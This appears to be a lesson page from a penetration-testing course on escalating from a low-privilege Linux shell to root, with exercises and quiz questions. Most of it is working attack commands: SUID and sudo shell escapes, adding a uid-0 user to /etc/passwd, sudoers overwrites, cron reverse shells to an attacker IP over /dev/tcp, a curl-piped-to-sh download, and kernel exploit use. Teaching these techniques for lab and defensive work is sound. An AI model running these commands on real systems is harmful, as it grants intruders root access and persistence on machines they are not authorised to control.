Linux Privilege Escalation
Escalate from a low-privilege shell to root on Linux using SUID binaries, sudo misconfigurations, cron jobs, weak file permissions, capabilities, and kernel exploits.
Learning Objectives
- → Use LinPEAS and manual techniques to enumerate privilege escalation vectors
- → Exploit SUID binaries via GTFOBins
- → Exploit sudo misconfigurations: NOPASSWD, allowed commands
- → Exploit writable cron jobs and PATH hijacking
- → Use Linux capabilities for privilege escalation
The Goal
Starting point: shell as low-privilege user (www-data, user, nobody)
Goal: root (uid=0)
# Check current user
id
whoami
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Automated Enumeration: LinPEAS
# Download and run LinPEAS:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer to target:
# On attacker:
python3 -m http.server 8000
# On target:
wget http://attacker_ip:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
# Output color coding:
# RED/YELLOW = 95% confidence privesc vector
# RED = HIGH probability
# GREEN = interesting info
SUID Bit Exploitation
Finding SUID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Common vulnerable SUID binaries:
# /usr/bin/find
# /usr/bin/vim
# /usr/bin/python3
# /usr/bin/nmap (older versions)
# /usr/bin/bash (if misconfigured)
# /usr/bin/cp
# /bin/bash -p (if SUID set)
GTFOBins
GTFOBins (gtfobins.github.io) catalogs UNIX binaries that can escalate privileges:
# find with SUID:
find . -exec /bin/bash -p \; -quit
# -p flag: run bash without dropping SUID privileges
# vim with SUID:
vim -c ':!/bin/bash -p'
# python3 with SUID:
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# nmap with SUID (older versions):
nmap --interactive
nmap> !sh
# cp with SUID (copy sudoers):
echo "attacker ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoers
cp /tmp/sudoers /etc/sudoers
# awk with SUID:
awk 'BEGIN {system("/bin/bash -p")}'
Sudo Misconfigurations
# Check sudo permissions
sudo -l
# Output:
# User www-data may run the following commands:
# (ALL) NOPASSWD: /usr/bin/python3 /var/www/app.py
# (root) NOPASSWD: /usr/bin/nano
# (ALL : ALL) ALL
# NOPASSWD sudo with python3:
sudo python3 -c 'import os; os.system("/bin/bash")'
# NOPASSWD sudo with nano (write to /etc/passwd):
sudo nano /etc/passwd
# Add line: hacker:x:0:0:root:/root:/bin/bash
# (uid=0 = root privileges)
# NOPASSWD sudo with any script:
# If script calls another program without full path:
sudo /var/www/app.py
# Exploit: modify app.py if writable, or PATH hijack
# (see PATH hijacking below)
# Sudo with specific commands — check GTFOBins for each:
sudo vim, sudo less, sudo man, sudo awk, sudo find...
Cron Job Exploitation
# View cron jobs
cat /etc/crontab
cat /etc/cron.d/*
crontab -l
ls -la /var/spool/cron/crontabs/
# Find writable scripts called by root cron:
# /etc/crontab has: * * * * * root /opt/backup.sh
# If backup.sh is writable by current user:
ls -la /opt/backup.sh
echo "/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /opt/backup.sh
# Wait for cron to run — get root reverse shell
# If directory is writable (create the script):
ls -la /opt/ # writable?
cat > /opt/backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
EOF
chmod +x /opt/backup.sh
PATH Hijacking
# If a script runs a command without full path:
# /opt/monitor.sh:
#!/bin/bash
ps aux # no /bin/ps — vulnerable to PATH hijack!
# Exploit:
mkdir /tmp/exploit
cat > /tmp/exploit/ps << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/exploit/ps
export PATH=/tmp/exploit:$PATH
/opt/monitor.sh # or wait for cron to run it
# → bash opens with SUID/root privileges
Writable /etc/passwd
# If /etc/passwd is world-writable:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd (writable!)
# Generate password hash:
openssl passwd -1 -salt hacker hack123
# $1$hacker$TzyKlv0/R/c28R.GP4MEs/
# Add root user:
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GP4MEs/:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # password: hack123
# uid=0(root)
Linux Capabilities
# Capabilities grant specific root powers without full root
# Find files with capabilities:
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep (DANGEROUS!)
# /usr/bin/perl = cap_setuid+ep
# Exploit cap_setuid:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Exploit cap_net_raw (allows raw packets):
# Attacker can use tcpdump-style sniffing
# Other dangerous capabilities:
# cap_dac_override — bypass file permission checks
# cap_sys_admin — kernel-level operations
# cap_fowner — bypass owner checks
Kernel Exploits
# Check kernel version:
uname -r
# 4.4.0-21-generic
# Search for exploits:
searchsploit linux kernel 4.4
searchsploit "linux kernel privilege escalation"
# Dirty Cow (CVE-2016-5195) — affects Linux < 4.8.3
# Download and compile:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty [newrootpasswd]
# Creates firefart root user
# Ubuntu 16.04 (KASLR bypass):
searchsploit ubuntu 16.04 privilege
# Tools:
linux-exploit-suggester: https://github.com/jondonas/linux-exploit-suggester-2
python3 les2.py
Quick Checklist
□ sudo -l (any NOPASSWD or restricted commands)
□ find / -perm -4000 (SUID binaries → GTFOBins)
□ cat /etc/crontab && crontab -l (writable scripts)
□ find / -writable -type f 2>/dev/null | grep -v proc
□ getcap -r / (dangerous capabilities)
□ uname -r (kernel exploits)
□ cat /etc/passwd (writable?)
□ find / -name "*.conf" -readable (config files with credentials)
□ env (credentials in environment variables)
□ history (commands with passwords)
□ ls -la /home/*/ (SSH keys, bash history)
□ ps aux (running processes — databases, backups with credentials)
On a lab target with SUID misconfigurations: (1) find all SUID binaries with find / -perm -4000 2>/dev/null, (2) cross-reference with GTFOBins for each, (3) exploit find SUID: find . -exec /bin/bash -p \; -quit, (4) exploit vim SUID: vim -c ':!/bin/bash -p', (5) verify id shows root, (6) read /root/root.txt flag.
What is the SUID bit and why does it enable privilege escalation?
What is GTFOBins?
On a machine with sudo misconfigurations: (1) run sudo -l to see allowed commands, (2) if 'sudo /usr/bin/vim': escape via :!/bin/bash, (3) if 'sudo /usr/bin/find': find . -exec /bin/sh \;, (4) if 'sudo /usr/bin/python3 script.py': check if script is writable; if so add os.system('/bin/bash'), (5) if 'sudo /usr/bin/nano': edit /etc/sudoers to add NOPASSWD: ALL.
What does 'sudo -l' reveal?
On a machine with writable cron scripts: (1) read /etc/crontab to find root cron jobs, (2) check if called scripts are writable by current user, (3) inject a reverse shell into the script, (4) set up netcat listener: nc -lvnp 4444, (5) wait for cron execution, (6) verify root shell received. Also test PATH hijacking: find cron scripts using relative command names.
Why is a root-owned cron job that calls a world-writable script dangerous?